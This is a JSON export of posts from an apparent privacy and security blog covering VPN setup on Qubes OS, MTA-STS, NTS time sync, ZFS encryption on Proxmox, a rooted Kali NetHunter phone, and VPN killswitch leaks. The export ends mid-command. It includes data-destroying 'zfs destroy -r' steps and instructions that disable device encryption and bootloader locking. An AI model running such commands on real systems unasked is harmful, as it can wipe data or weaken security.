[{"content":" IVPN is a fairly popular and generally trustworthy VPN provider. In this post, I will walk you through how to use the official IVPN client in a ProxyVM on Qubes OS. We will deviate from the official guide by using systemd path to handle DNAT. This will provide the same robustness as their approach to modify /opt/ivpn/etc/firewall.sh, while avoiding the risk that the modifications will be overwritten by a future app update. We will also be using a TemplateVM for IVPN ProxyVMs instead of using Standalone VMs.\nPreparing your TemplateVM I recommend that you make a new TemplateVM based on the latest Fedora GNOME template and remove all unnecessary packages that you might not use. This way, you can minimize the attack surface while not having to deal with missing dependencies like on a minimal template. With that being said, if you do manage to get the minimal template to fully work with IVPN, feel free to open a discussion on GitHub or contact me directly and I will update the post accordingly.\nI run this script on my template to trim it down.\nNext, you need to create the bind directories for IVPN\u0026rsquo;s configurations:\nsudo mkdir -p /etc/qubes-bind-dirs.d echo \u0026#39;binds+=( \u0026#39;\\\u0026#39;\u0026#39;\u0026#39;/etc/opt/ivpn/mutable\u0026#39;\u0026#39;\\\u0026#39;\u0026#39; )\u0026#39; | sudo tee /etc/qubes-bind-dirs.d/50_user.conf Installing the IVPN App Inside of the TemplateVM you have just created, do the following:\nsudo dnf config-manager addrepo --from-repofile=https://repo.ivpn.net/stable/fedora/generic/ivpn.repo sudo dnf install -y ivpn-ui IVPN needs to restart systemd-resolved and run /usr/lib/qubes/qubes-setup-dnat-to-ns every time IVPN modifies /etc/resolv.conf. Create the following files:\n/etc/systemd/system/dnat-to-ns.service [Unit] Description=Run /usr/lib/qubes/qubes-setup-dnat-to-ns StartLimitIntervalSec=0 [Service] Type=oneshot ExecStart=/usr/bin/systemctl restart systemd-resolved ExecStart=/usr/lib/qubes/qubes-setup-dnat-to-ns /etc/systemd/system/dnat-to-ns.path [Unit] Description=Run /usr/lib/qubes/qubes-setup-dnat-to-ns when /etc/resolv.conf changes [Path] PathChanged=/etc/resolv.conf Unit=dnat-to-ns.service [Install] WantedBy=multi-user.target /etc/systemd/system/dnat-to-ns-boot.service [Unit] Description=Run /usr/lib/qubes/qubes-setup-dnat-to-ns After=qubes-network-uplink.service [Service] Type=oneshot ExecStart=sleep 15 ExecStart=/usr/lib/qubes/qubes-setup-dnat-to-ns [Install] WantedBy=multi-user.target Create /etc/systemd/system/systemd-resolved.conf.d/override.conf to disable rate limiting on systemd-resolved restarting:\n[Unit] StartLimitIntervalSec=0 Next, enable the systemd path and service to run at boot:\nsudo systemctl enable dnat-to-ns.path sudo systemctl enable dnat-to-ns-boot.service Finally, shut down the TemplateVM:\nsudo shutdown now Creating the ProxyVM Create an AppVM based on the TemplateVM you have just created. Set sys-firewall (or whatever FirewallVM you have connected to your sys-net) as the net qube. If you do not have such FirewallVM, use sys-net as the net qube. Next, go to the advanced tab and tick the provides network access to other qubes box.\nOpen the IVPN and select Settings → DNS → Force management of DNS using resolv.conf.\nGo to the IVPN Firewall section and tick the box Allow LAN traffic when IVPN Firewall is enabled. Due to some strange interaction between qubes services and IVPN, certain apps will get internet connections while others do not if this toggle is not enabled. This option will not actually allow AppVMs connected to the ProxyVM to connect to the local network.\nEnable Always-on firewall to ensure that the killswitch stays on even when the tunnel is disconnected.\nAdditional Assurances For additional assurances against VPN leaks, you can optionally add these 2 lines to /rw/config/qubes-firewall-user-script:\nnft add rule qubes custom-forward oifname eth0 counter drop nft add rule ip6 qubes custom-forward oifname eth0 counter drop This is not strictly necessary, as I have not observed any leaks with the VPN killswitch provided by the app.\nNotes With this current setup, the ProxyVM you have just created will be responsible for handling Firewall rules for the qubes behind it. This is not ideal, as this is still a fairly large VM, and there is a risk that IVPN or some other apps may interfere with its firewall handling.\nInstead, I highly recommend that you create a minimal Mirage FirewallVM and use it as a firewall behind the IVPN ProxyVM. Other AppVMs then should use the Mirage Firewall as the net qube instead. This way, you can make sure that firewall rules are properly enforced.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/qubes/using-ivpn-on-qubes-os/","summary":"IVPN is a fairly popular and generally trustworthy VPN provider. In this post, I will walk you through how to use the official IVPN client in a ProxyVM on Qubes OS. We will deviate from the official guide by using systemd path to handle DNAT. This will provide the same robustness as their approach to modify /opt/ivpn/etc/firewall.sh, while avoiding the risk that the modifications will be overwritten by a future app update.","title":"Using IVPN on Qubes OS"},{"content":"Premise ChromeOS encrypts user data on the disk by default. The implementation details are documented upstream but not relevant within the scope of this post.\nIt is well-known that ChromeOS uses Google account passwords as the primary login credentials. This necessarily means that anyone with knowledge of the Google account password is able to unlock and therefore decrypt a ChromeOS user profile.\nRecent versions of ChromeOS allows users to use a separare login password instead of the Google account password.\nPractical Implications The very same Google account passwords used for ChromeOS authentication are also used for logging in to various Google services in web browsers and other apps. After a quick investigation with browser dev tools:\n…It turns out that passwords are submitted to Google servers in plaintext (see \u0026ldquo;mygloriouspassword\u0026rdquo; in the Form Data).\nAs a result, someone with sufficient access to Google\u0026rsquo;s servers would theoretically be able to obtain the actual, unhashed password for a given Google account. An adversary with physical access would be able to unlock and decrypt ChromeOS user data with cooperation from Google, if the Google password is used for encryption.\nThis differs from how encryption passwords are handled by other services like cloud‑based password managers — they use client‑side hashing to deliberately blind the server from the actual password. As the name suggests, the browser locally executes a cryptographic hash function on the actual password and only transmits the resultant hash to the server for authentication.\nOn newer ChromeOS versions, users should be able to avoid this issue with the local password. While we have not done in-depth analysis to confirm that Google never has access to the local encryption password, this is likely the case since an account recovery using the Google password will require a Powerwash:\nTakeaways If Google is malicious, coerced by the government, or hacked, their servers can record the user password prior to it being hashed server‑side. That password can then be used by an adversary with physical access to unlock ChromeOS and gain access to the data stored therein, if the Google account password is used for encryption.\nAs a result, when setting up your Chromebook, it is highly recommended that you use a local password instead.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/knowledge/chromeos-questionable-encryption/","summary":"Premise ChromeOS encrypts user data on the disk by default. The implementation details are documented upstream but not relevant within the scope of this post.\nIt is well-known that ChromeOS uses Google account passwords as the primary login credentials. This necessarily means that anyone with knowledge of the Google account password is able to unlock and therefore decrypt a ChromeOS user profile.\nRecent versions of ChromeOS allows users to use a separare login password instead of the Google account password.","title":"ChromeOS's Questionable Encryption"},{"content":"To this date, Proton Mail doesn\u0026rsquo;t support MTA-STS for custom domains. While DANE for SMTP is a much better solution to the same problem, MTA-STS exists for a reason: many providers are slow at adopting DNSSEC. DNSSEC is essential to enabling standards such as DANE or SSHFP. Notably, Gmail still does not support DANE but has supported MTA-STS for years.\nTherefore, MTA-STS and DANE can complement each other, and you should ideally deploy both.\nWhy bother? A tale of DANE\u0026hellip; Mail security is challenging and complex, and humanity might never get it right. Unfortunately, we still rely on this ancient technology for nearly everything. Attempts to make SMTP more resilient and secure have been made in the past, including opportunistic transport encryption (STARTTLS). One tricky issue is that implementing TLS alone in this case does not prevent man-in-the-middle or various downgrade attacks (such as STRIPTLS) from happening.\nDANE for SMTP (RFC 7672) is an elegant solution to address these issues. DANE relies on DNSSEC to protect TLSA records of the same DNS zone as the SMTP server. TLSA records indicate that TLS should be enforced for inbound mail, and basically contain information about the public keys that are allowed to be used. Let\u0026rsquo;s briefly dig (no pun intended) into how Proton implements this:\n$ dig +noall +answer mx protonmail.com protonmail.com.\t1138\tIN\tMX\t10 mailsec.protonmail.ch. protonmail.com.\t1138\tIN\tMX\t5 mail.protonmail.ch $ dig +noall +answer tlsa _25._tcp.mail.protonmail.ch _25._tcp.mail.protonmail.ch. 915 IN\tTLSA\t3 1 1 6111A5698D23C89E09C36FF833C1487EDC1B0C841F87C49DAE8F7A09 E11E979E _25._tcp.mail.protonmail.ch. 915 IN\tTLSA\t3 1 1 76BB66711DA416433CA890A5B2E5A0533C6006478F7D10A4469A947A CC8399E1 I will skip the details since this post is not about how DANE works, but as you can see the TLSA records can be easily retrieved and we can verify those. Tools like Hardenize may help you in investigating which providers have DANE.\nMTA-STS to the rescue Despite being a years-old standard, DANE for SMTP is not widely adopted. MTA-STS (RFC 8461) is an alternative solution which aims to prevent the same security issues, whilst not relying on DNSSEC. When MTA-STS is enabled, it effectively indicates to SMTP servers that TLS (1.2 or higher) should be used with valid certificates.\nIn order to do that, MTA-STS relies on a HTTPS web server (and thus the WebPKI) to publish the policy at a specific subdomain (mta-sts) and address (/.well-known/mta-sts.txt). A DNS TXT record will also be needed to signal that a MTA-STS policy is available for the domain. Let\u0026rsquo;s see how Proton implements that.\nIf we navigate to https://mta-sts.protonmail.com/.well-known/mta-sts.txt, we will indeed find the MTA-STS policy published by Proton:\nversion: STSv1 mode: enforce mx: mail.protonmail.ch mx: mailsec.protonmail.ch max_age: 604800 The DNS \u0026ldquo;discovery\u0026rdquo; record should be defined at the _mta-sts subdomain:\n$ dig +noall +answer txt _mta-sts.protonmail.com _mta-sts.protonmail.com. 1114\tIN\tCNAME\t_mta-sts.protonmail.ch. _mta-sts.protonmail.ch.\t1114\tIN\tTXT\t\u0026#34;v=STSv1; id=190906205100Z;\u0026#34; Everything is there as expected.\nEnable MTA-STS for custom domains The challenge is that Proton does not offer an easy way to host a policy for custom domains. They could eventually offer this in the future, and I expect them to. In the meantime, we can enable MTA-STS ourselves as it should be somewhat straightforward.\nThe main challenging part is really to find a way to host the policy. It\u0026rsquo;s just a text file after all, so there are many ways to do that without going through the hassle of self-hosting a web server. GitHub Pages and Netlify have free offerings to host static websites, and they should be enough to meet our needs here. I will use Netlify since you can host multiple websites with the same account; the only drawback is that you have a 100GB bandwidth limit per month, but it should be more than enough for a simple text file.\nFirst, you will need to create a GitHub repository - public or private, it doesn\u0026rsquo;t matter. Then, you should push a directory named .well-known which contains a mta-sts.txt file. The latter will be our policy, and you may simply copy the policy from Proton:\nversion: STSv1 mode: enforce mx: mail.protonmail.ch mx: mailsec.protonmail.ch max_age: 604800 If you\u0026rsquo;re really not sure about what you\u0026rsquo;re doing, setting mode: testing might be a conservative approach to avoid breaking things (a report will be sent if you\u0026rsquo;ve configured TLS-RPT, more on that later). You may also consider decreasing or increasing max_age which corresponds to a time in seconds, and 604800 for instance means that the policy will be cached for one week.\nThen, head to your Netlify account, add a new site, register your GitHub repository and voilà. Once it\u0026rsquo;s done and that you can access your policy through your netlify.app address, it\u0026rsquo;s a matter of publishing a few DNS records:\nAn A record for your Netlify-hosted policy. If your domain name from which you intend to send and receive mails is @domain.tld then you should make this A record for mta-sts.domain.tld. Netlify will tell you to use a CNAME record but I personnally caution against using CNAME to third parties in general. They have a universal load balancer IPv4 you can use, so you should use that.\nA TXT record for MTA-STS discovery. The content should resemble to the following: \u0026quot;v=STSv1; id=2023071200\u0026quot;. v=STSv1 declares the policy version, and id= is really just a random number you should increment to signal whenever your MTA-STS policy has been changed. If you\u0026rsquo;re out of ideas you can use the Unix epoch time, or the YMD format followed by two numbers reserved for iterations (just like I do).\nAn optional TXT record for TLS-RPT so that the sending mail server will receive reports about successful and failed attempts at applying the MTA-STS policy. Since these reports can be very useful, I highly recommend you configure TLS-RPT. To do that, add the following TXT record to the _smtp._tls subdomain: \u0026quot;v=TLSRPTv1; rua=mailto:reports@domain.tld\u0026quot; where rua= should point to the mail address where you want to receive reports.\nSecurity tip : since mta-sts is a subdomain with an A record, I strongly recommend defining a \u0026ldquo;reject all\u0026rdquo; SPF policy and a null MX record (RFC 7505) for that subdomain. That is because even when an MX record does not exist, A records can be used as a fallback.\nWait a bit for the DNS propagation to take place, then verify with Hardenize that MTA-STS is enabled.\nConclusion MTA-STS is far from perfect and suffers from multiple flaws in my opinion: it relies on certificate authorities (CA), and is inherently a trust on first use security policy akin to HSTS for HTTPS (the DNSSEC infrastructure is already trusted in the case of DANE). I also believe that MTA-STS is more tedious to deploy compared to the simplicity and robustness of DANE, DNSSEC deployment quirks aside.\nNonetheless, I hope this article will prove somewhat useful to Proton Mail users who wish to use MTA-STS with their custom domains.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/knowledge/setting-up-mta-sts-with-a-custom-domain-on-proton-mail/","summary":"To this date, Proton Mail doesn\u0026rsquo;t support MTA-STS for custom domains. While DANE for SMTP is a much better solution to the same problem, MTA-STS exists for a reason: many providers are slow at adopting DNSSEC. DNSSEC is essential to enabling standards such as DANE or SSHFP. Notably, Gmail still does not support DANE but has supported MTA-STS for years.\nTherefore, MTA-STS and DANE can complement each other, and you should ideally deploy both.","title":"Setting up MTA-STS with a custom domain on Proton Mail"},{"content":" macOS by default uses the unencrypted and unauthenticated Network Time Protocol (NTP) for time synchronization. A popular solution to mitigate this problem is to use ChronyControl to setup NTS. However, the application requires administrator privileges, which is less than ideal.\nIn this post, I will go over how to leverage virtualization to setup a local Linux server, update its time using NTS, and synchronize your macOS host with it using NTP, all without needing a privileged application.\nInstalling UTM The virtualization software we are going to use for this setup is UTM. You can obtain it through the App Store for $10 USD or directly through GitHub free of charge.\nPersonally, I would recommend using the App Store, since you are getting automatic updates with it, and a small donation would really help out the developers.\nNote that I am recommending UTM here over other solutions like Parallels, specifically for the Emulated VLAN network setup. Parallels only supports the Shared Network mode where all VMs and the host are connected to the same VLAN, which is less than ideal considering that we will still communicate with our Linux server using the insecure NTP protocol. I have not tried VMWare Fusion or VirtualBox yet, but the general idea is that you should be connecting to the NTP server using a private interface which only the host and the target VM have access to. Another nice thing about UTM is that it is a sandboxed application and runs without any special privileges.\nChoosing your Linux distribution Generally, any distribution with chrony 4.0 or above would work fine. I recommend using Fedora since it is easy to manage, is generally up to date, and has mostly sane defaults.\nYou can download Fedora Server from their official website.\nSetting up the virtual machine Next, create your Linux VM in UTM. Make sure that you use the QEMU backend (as opposed to Apple Virtualization), set the Network Mode to Emulated VLAN, and port forward port 123/UDP and 22/TCP.\nOptionally, you can also:\nSet the CPU allocation to 2 vCPUs. The NTP server does not need access to all of your performance cores. Reduce the allocated Memory to 2048. This is a fairly lightweight server. Enable memory ballooning. Next, install your operating system. If you are using Fedora, I recommend going with the \u0026ldquo;Minimal Install\u0026rdquo; option.\nPost operating system installation Once the operating system is installed, shut down the VM. Remove \u0026ldquo;USB Drive\u0026rdquo; from your VM configuration to ensure that you have the correct boot order.\nYou can also remove other unnecessary features from the VM for attack surface reduction:\nDisable USB support Disable Clipboard sharing Delete the display device (we will run the server headless) Delete the audio device Start the VM, then SSH into it via 127.0.0.1:22:\nssh 127.0.0.1 Update the OS:\n#This is an example for Fedora: sudo dnf upgrade -y You can also consider installing the qemu-guest-agent. It will help against insane clocks caused by snapshotting and rolling back if UTM implements these features in the future.\n#This is an example for Fedora: sudo dnf install qemu-guest-agent -y If your operating system comes with systemd-timesyncd instead of chrony by default (as is the case with Ubuntu and Arch Linux), disable it and replace it with chrony. Fedora users can skip this step, since it already uses chrony by default.\n#This is an example for Ubuntu: sudo systemctl disable --now systemd-timesyncd sudo apt purge -y systemd-timesyncd sudo apt install -y chrony sudo systemctl enable --now chronyd Enable automatic updates:\n#This is an example for Fedora: sudo dnf install dnf-automatic sudo sed -i \u0026#39;s/apply_updates = no/apply_updates = yes\\nreboot = when-needed/g\u0026#39; /etc/dnf/automatic.conf sudo systemctl enable --now dnf-automatic.timer Configuring chrony Next, configure chrony to use NTS. On Fedora, the configuration file is /etc/chrony.conf. We will use GrapheneOS\u0026rsquo;s configuration as a reference.\nYour configuration should look something like this:\nserver time.cloudflare.com iburst nts server ntppool1.time.nl iburst nts server nts.netnod.se iburst nts server ptbtime1.ptb.de iburst nts minsources 2 authselectmode require # EF dscp 46 driftfile /var/lib/chrony/drift ntsdumpdir /var/lib/chrony leapsectz right/UTC makestep 1.0 3 rtconutc rtcsync cmdport 0 noclientlog allow 10.0.2.2/32 Optionally, you can enable the secommp filter for chronyd in /etc/sysconfig/chronyd:\n# Command-line options for chronyd OPTIONS=\u0026#34;-F 1\u0026#34; If you are confused about what these configurations are doing, here are some quick explanations:\nWe get our time from 4 different sources: server time.cloudflare.com iburst nts server ntppool1.time.nl iburst nts server nts.netnod.se iburst nts server ptbtime1.ptb.de iburst nts Should there be a discrepancy, a time change will only happen if at least 2 sources agree on it: minsources 2 Lastly, we add this line to the configuration file to allow macOS to get time from it: allow 10.0.2.2/32 Note that 10.0.2.2 is the default IP address of the macOS host from the virtual machine\u0026rsquo;s perspective. If you changed the Host Address using the Advanced Settings in the virtual machine\u0026rsquo;s network configuration, you need to adjust it accordingly here.\nOnce you are happy with the configuration, restart chronyd:\nsudo systemctl restart chronyd Verify that NTS is working:\nsudo chronyc -N authdata Open the firewall We will need to open port 123/udp inside of the virtual machine to allow connections from the macOS host:\n#This is an example for Fedora: sudo firewall-cmd --permanent --add-service=ntp sudo firewall-cmd --reload Use the NTP server with macOS Now, we can use our NTP server as the time server for your macOS. Set the time source to 127.0.0.1 in your macOS settings:\nVerify that NTP works on your macOS host:\nsntp 127.0.0.1 Once you have verified that everything is working, you can optionally remove the port 22/TCP forwarding since we will no longer need it.\nCreate a Synchronization Cron Job macOS synchronizes time with the NTP server around once every 20 minutes. This can cause the clock to be out of sync for quite awhile when the computer wakes up from sleep, as the NTP server may not have its time corrected by the time macOS makes the first synchronization request.\nTo work around this, create a cron job to have macOS synchronize time every minute as root:\nsudo crontab -e Add the following:\n* * * * * /usr/bin/sntp -Ss 127.0.0.1 Automatically start the NTP server at boot Finally, follow the official documentation to automatically start the virtual machine at boot.\nNote that, for some reason, adding the shortcut to \u0026ldquo;Login Items\u0026rdquo; alone is not enough: UTM will launch but it will not start the VM. UTM also needs to be added to the list of \u0026ldquo;Login Items\u0026rdquo; for this to work properly. You can follow the discussion regarding this on GitHub.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/macos/secure-time-synchronization-on-macos/","summary":"macOS by default uses the unencrypted and unauthenticated Network Time Protocol (NTP) for time synchronization. A popular solution to mitigate this problem is to use ChronyControl to setup NTS. However, the application requires administrator privileges, which is less than ideal.\nIn this post, I will go over how to leverage virtualization to setup a local Linux server, update its time using NTS, and synchronize your macOS host with it using NTP, all without needing a privileged application.","title":"Secure Time Synchronization on macOS"},{"content":"Currently, the Proxmox installer does not support setting up encryption with ZFS. Thus, we have to set it up manually. This post will go over how to use the native ZFS encryption with Proxmox.\nThe post also assumes that the Proxmox installation is new and does not have any virtual machines or containers yet.\nEncrypting the rpool/ROOT dataset Proxmox installs its system inside the rpool/ROOT dataset. This is what we will encrypt first.\nFirst, boot into the initramfs. On the startup menu, press e to edit the boot argument. Remove root=ZFS=rpool/ROOT/pve-1 boot=zfs from the argument and press enter.\nLoad in the zfs kernel module:\nmodprobe zfs Next, follow this gist to encrypt the dataset. You do not need to use any sort of live USB or rescue mode, as the initramfs has all that we need. In case it gets moved or deleted, I will copy and paste it here (we will make a few changes to better suit our purposes as well):\n# Import the old zpool import -f rpool # Make a snapshot of the current one zfs snapshot -r rpool/ROOT@copy # Send the snapshot to a temporary root zfs send -R rpool/ROOT@copy | zfs receive rpool/copyroot # Destroy the old unencrypted root zfs destroy -r rpool/ROOT # Set better ZFS properties zpool set autoexpand=on rpool zpool set autotrim=on rpool zpool set failmode=wait rpool # Create a new zfs root, with encryption turned on # OR -o encryption=aes-256-gcm - aes-256-ccm vs aes-256-gcm zfs create -o acltype=posix -o atime=off -o compression=zstd-3 -o checksum=blake3 -o dnodesize=auto -o encryption=on -o keyformat=passphrase -o overlay=off -o xattr=sa rpool/ROOT # Copy the files from the copy to the new encrypted zfs root zfs send -R rpool/copyroot/pve-1@copy | zfs receive -o encryption=on rpool/ROOT/pve-1 # Deviate from the original gist and delete copyroot zfs destroy -r rpool/copyroot # Set the Mountpoint zfs set mountpoint=/ rpool/ROOT/pve-1 # Export the pool again, so you can boot from it zpool export rpool Reboot into the system. You should now be prompted for an encryption password.\nreboot -f Encrypting the rpool/data dataset Next, we need to encrypt the rpool/data dataset. This is where Proxmox stores virtual machine disks.\n# Destroy the original dataset zfs destroy -r rpool/data Create a diceware passphrase, and save it to /.data.key. Then, continue with:\n# Remove all but ASCII characters perl -i -pe \u0026#39;s/[^ -~]//g\u0026#39; /.data.key # Set the appropriate permission chmod 400 /.data.key # Make the key immutable chattr +i /.data.key # Create a new dataset with encryption enabled zfs create -o acltype=posix -o atime=off -o compression=zstd-3 -o checksum=blake3 -o dnodesize=auto -o encryption=on -o keyformat=passphrase -o keylocation=file:///.data.key -o overlay=off -o xattr=sa rpool/data Next, we need to set up a systemd service for automatic unlocking. Put the following inside /etc/systemd/system/zfs-load-key.service:\n[Unit] Description=Load encryption keys DefaultDependencies=no After=zfs-import.target Before=zfs-mount.service [Service] Type=oneshot RemainAfterExit=yes ExecStart=/usr/sbin/zfs load-key -a [Install] WantedBy=zfs-mount.service Finally, enable the service:\nsystemctl enable zfs-load-key Setting Dropbear for remote unlocking (optional) It is not convenient to type in the encryption password on the console. You might want to set up Dropbear inside of the initramfs to unlock the drive over SSH instead.\nFirst, install the dropbear-initramfs package. Note that we are passing the --no-install-recommends argument here, as we don\u0026rsquo;t want it to install cryptsetup and give annoying warnings on every initramfs generation.\napt install --no-install-recommends dropbear-initramfs Next, create /etc/dropbear/initramfs/authorized_keys and put your ssh keys in there.\nYou may also edit /etc/dropbear/initramfs/dropbear.conf and adjust it however you like. You can find the list of the options here. In my opinion, the default is good enough. Some other blog posts may recommend that you change the port to avoid the ssh fingerprint mismatch warning, but I would recommend using a different subdomain to connect to dropbear instead. That way, you can pin Dropbear\u0026rsquo;s fingerprint with SSHFP records. I will write a separate post on this later.\nThen, edit the /etc/initramfs-tools/initramfs.conf and add the static IP address for it to use. The format is\nIP=IP Address::Gateway:Netmask:Hostname For example:\nIP=10.0.0.1::10.0.0.254:255.255.255.0:dropbear.node.domain.tld One thing to keep in mind is that I have found only IPv4 to be working with this on Debian. If you figure out how to get IPv6 to work, please let me know.\nFinally, generate a new initramfs:\nupdate-initramfs -u You should now be able to ssh into your Dropbear upon reboot. Use zfsunlock to unlock the rpool/ROOT dataset :)\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/using-native-zfs-encryption-with-proxmox/","summary":"Currently, the Proxmox installer does not support setting up encryption with ZFS. Thus, we have to set it up manually. This post will go over how to use the native ZFS encryption with Proxmox.\nThe post also assumes that the Proxmox installation is new and does not have any virtual machines or containers yet.\nEncrypting the rpool/ROOT dataset Proxmox installs its system inside the rpool/ROOT dataset. This is what we will encrypt first.","title":"Using Native ZFS Encryption with Proxmox"},{"content":"Update: DivestOS has been discontinued and downloads are no longer available.\nThis will turn your device into a purely penetration testing device, and it will be very insecure for any other purpose. Please do not do this on your daily driver.\nThis procedure should work without modification on many devices using the standard Android bootloader (not Samsung). However, every device has unique quirks that may require special attention.\nOriginally, I just needed a device to run packet capture on my other devices. I have a OnePlus 7T laying around which I am not using for anything (since it has already reached its end-of-life), so I thought it would be cool to give it a new purpose. I am using DivestOS here since it is my go‑to Android distribution, but you can use LineageOS or any other distribution if you want to.\nOfficially, Kali Nethunter only supports OxygenOS based on Android 10 or 11 on my device. However, since there is no security to be had anyways, I decided to have some fun and not do things by the book (their official documentation isn\u0026rsquo;t accurate anyways, as I will explain).\nInstalling DivestOS The installation procedure for DivestOS is fairly straightforward. First download the recovery and boot it using fastboot:\nfastboot reboot /path/to/the/divestos/recovery.img fastboot reboot recovery Select Apply Update and Apply Update from ADB:\nadb sideload /path/to/the/divestos.zip Do not attempt to relock the bootloader \u0026mdash; we need to leave it unlocked to enable privileged access (\u0026ldquo;rooting\u0026rdquo;) anyways. Do not reboot into the OS at this stage either.\nInstalling Magisk and disabling forceencrypt The official documentation recommends TWRP and Disable_Dm‑Verity_ForceEncrypt. However, TWRP doesn\u0026rsquo;t exist for Android 12 and above for my device, and Disable_Dm‑Verity_ForceEncrypt is deprecated and doesn\u0026rsquo;t even work on Android 11.\nInstead, we will use the LineageOS recovery (which allows flashing files with arbitrary signatures) and Disable Force Encryption NEO.\nFirst, reboot the device into the bootloader.\nThen, you need to download the LineageOS Recovery for your device and boot into it:\nfastboot reboot /path/to/the/lineageos/recovery.img Next, you just need to do ADB sideload for Disable Force Encryption NEO. It will give you the option to install Magisk and disable forceencrypt, and choose yes on both. The rest of the options are up to you - they are not very important.\nInstalling Kali Nethunter Lite Reboot into your OS and set it up normally. Make sure that encryption is disabled:\nFinally, download the appropriate build for Nethunter and flash it as a Magisk module in the Magisk Manager.\nHappy NetHunting!\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/archive/installing-kali-nethunter-lite-on-divestos-20.0/","summary":"Update: DivestOS has been discontinued and downloads are no longer available.\nThis will turn your device into a purely penetration testing device, and it will be very insecure for any other purpose. Please do not do this on your daily driver.\nThis procedure should work without modification on many devices using the standard Android bootloader (not Samsung). However, every device has unique quirks that may require special attention.\nOriginally, I just needed a device to run packet capture on my other devices.","title":"Installing Kali NetHunter Lite on DivestOS 20.0"},{"content":"These websites contain a significant amount of factual technical information and are generally good resources to follow.\nNAME NOTES GrapheneOS FAQ Information on GrapheneOS and general Android security. Madaidan\u0026rsquo;s Insecurities Highlighting security issues within popular technologies, debunking misinformation, and providing free security guidance for everyone. Wonderfall\u0026rsquo;s Lab Thoughts and research on security, privacy, and pharmacology. Wonderfall\u0026rsquo;s Space Blog posts about privacy and security in French. Seirdy\u0026rsquo;s Blog Thoughts on security, privacy, and software freedom. ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/resources/","summary":"These websites contain a significant amount of factual technical information and are generally good resources to follow.\nNAME NOTES GrapheneOS FAQ Information on GrapheneOS and general Android security. Madaidan\u0026rsquo;s Insecurities Highlighting security issues within popular technologies, debunking misinformation, and providing free security guidance for everyone. Wonderfall\u0026rsquo;s Lab Thoughts and research on security, privacy, and pharmacology. Wonderfall\u0026rsquo;s Space Blog posts about privacy and security in French. Seirdy\u0026rsquo;s Blog Thoughts on security, privacy, and software freedom.","title":"Resources"},{"content":" Given the current censorship situation in Iran, I decided to have a look at the Signal TLS Proxy.\nOne thing immediately jumped out - the NGINX image has not been updated for years. In fact, NGINX 1.18 is so old that it has gone end of life for a year and a half as of this writing.\nIf you are deploying or maintaining a Signal TLS Proxy, I highly recommend that you use the upstream nginx:alpine image instead.\nMy Docker Compose setup can be found here. I have also fixed the missing :Z flag for mountpoints and and dropped privileges to reduce the attack surface. I made a couple of pull requests for these changes, but Signal is being very slow on reviewing and merging them, so\u0026hellip; yeah.\nDrop capabilities Use upstream NGINX image Add :Z for SELinux ","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/proxies/update-your-signal-tls-proxy/","summary":"Given the current censorship situation in Iran, I decided to have a look at the Signal TLS Proxy.\nOne thing immediately jumped out - the NGINX image has not been updated for years. In fact, NGINX 1.18 is so old that it has gone end of life for a year and a half as of this writing.\nIf you are deploying or maintaining a Signal TLS Proxy, I highly recommend that you use the upstream nginx:alpine image instead.","title":"Update your Signal TLS Proxy"},{"content":"Update: This is no longer reproducible on Android 13 QPR1 and Android 14 Developer Preview 1.\nBefore We Start\u0026hellip;\nI have been aware of this issue for awhile now (since at least Android 11), though I have not done enough testing to see what actually causes the leak nor do I have any workaround at the moment. My guess is that applications which launch early when you log into a secondary profile can bypass the VPN killswitch.\nI have reported it on Google\u0026rsquo;s issue tracker.\nThe Leak You can reproduce the leak by doing the following:\nCreate a new user profile (you need to create a secondary user profile for this, as it is not reproducible on your owner profile or a work profile). Do not log into your Google account at this stage. Sideload a VPN app. The leak happens with every VPN provider I have tried (since it is likely a platform issue), though if you do not have a VPN subscription I would recommend getting a free one with ProtonVPN. Setup the VPN and the Android VPN killswitch. Log into your Google account through Play Services. Restart the phone. Open the secondary user profile again. Go to Google\u0026rsquo;s My Devices page. Observe that one of the sessions for your phone has your actual location obtained with GeoIP. In some cases, your actual IP address will be shown there as well. Notes It is unlikely that this is caused by Play Services being privileged applications. This issue is reproducible on GrapheneOS with the Sandboxed Play Services (which runs as a normal, unprivileged application) as well.\nMore testing is needed to find the root cause of the problem. I do not think that this is Play Services specific. Unfortunately, I do not have access to a router to do a packet capture right now. I would appreciate it if someone can help me get to the bottom of this. You can find my contact information here.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/archive/android-vpn-leakage-with-secondary-user-profiles/","summary":"Update: This is no longer reproducible on Android 13 QPR1 and Android 14 Developer Preview 1.\nBefore We Start\u0026hellip;\nI have been aware of this issue for awhile now (since at least Android 11), though I have not done enough testing to see what actually causes the leak nor do I have any workaround at the moment. My guess is that applications which launch early when you log into a secondary profile can bypass the VPN killswitch.","title":"Android VPN Leakage with Secondary User Profiles"},{"content":"Before We Start\u0026hellip;\nI sent Proton an email regarding this issue in late August 2022 and was told they are working on fixing it, though it will take some time as it requires some architectural changes in how the killswitch works.\nThe Leak Ideally, when implementing a killswitch, a VPN client should drop all connections on non-VPN interfaces except when the connection is to the VPN provider\u0026rsquo;s servers. This is necessary to prevent accidental leaks, at least by unprivileged applications. Unfortunately, the ProtonVPN client does not currently do this.\nEffectively, any application that binds to the connected physical interface (as opposed to the VPN\u0026rsquo;s virtual interface) on your Linux system will expose your actual IP address, regardless of the killswitch state. This is problematic, especially for certain applications like Torrent clients, as they tend to use whatever interfaces they can access (rather than just the default one) to connect to the internet. You can check this with curl:\ncurl --interface \u0026lt;physical interface\u0026gt; https://ipinfo.io This will return your actual IP address.\nThe Workaround Qubes OS On Qubes OS, you generally should not have a problem if you use the ProtonVPN client in a ProxyVM. While the same issue still exists within the ProxyVM itself, it is unlikely to manifest as you should not be running any other applications in the same Qube anyways, and apps in an AppVM cannot bind to the public interface of the ProxyVM. I have not observed any leaks from an AppVM behind a ProtonVPN ProxyVM.\nGeneral Linux Distributions On a general Linux distribution, the workaround is to configure OpenVPN manually and setup a killswitch yourself.\nSince ProtonVPN does not support IPv6, you should disable it in your kernel settings:\necho \u0026#39;net.ipv6.conf.all.disable_ipv6=1 net.ipv6.conf.default.disable_ipv6=1 net.ipv6.conf.lo.disable_ipv6=1\u0026#39; | sudo tee 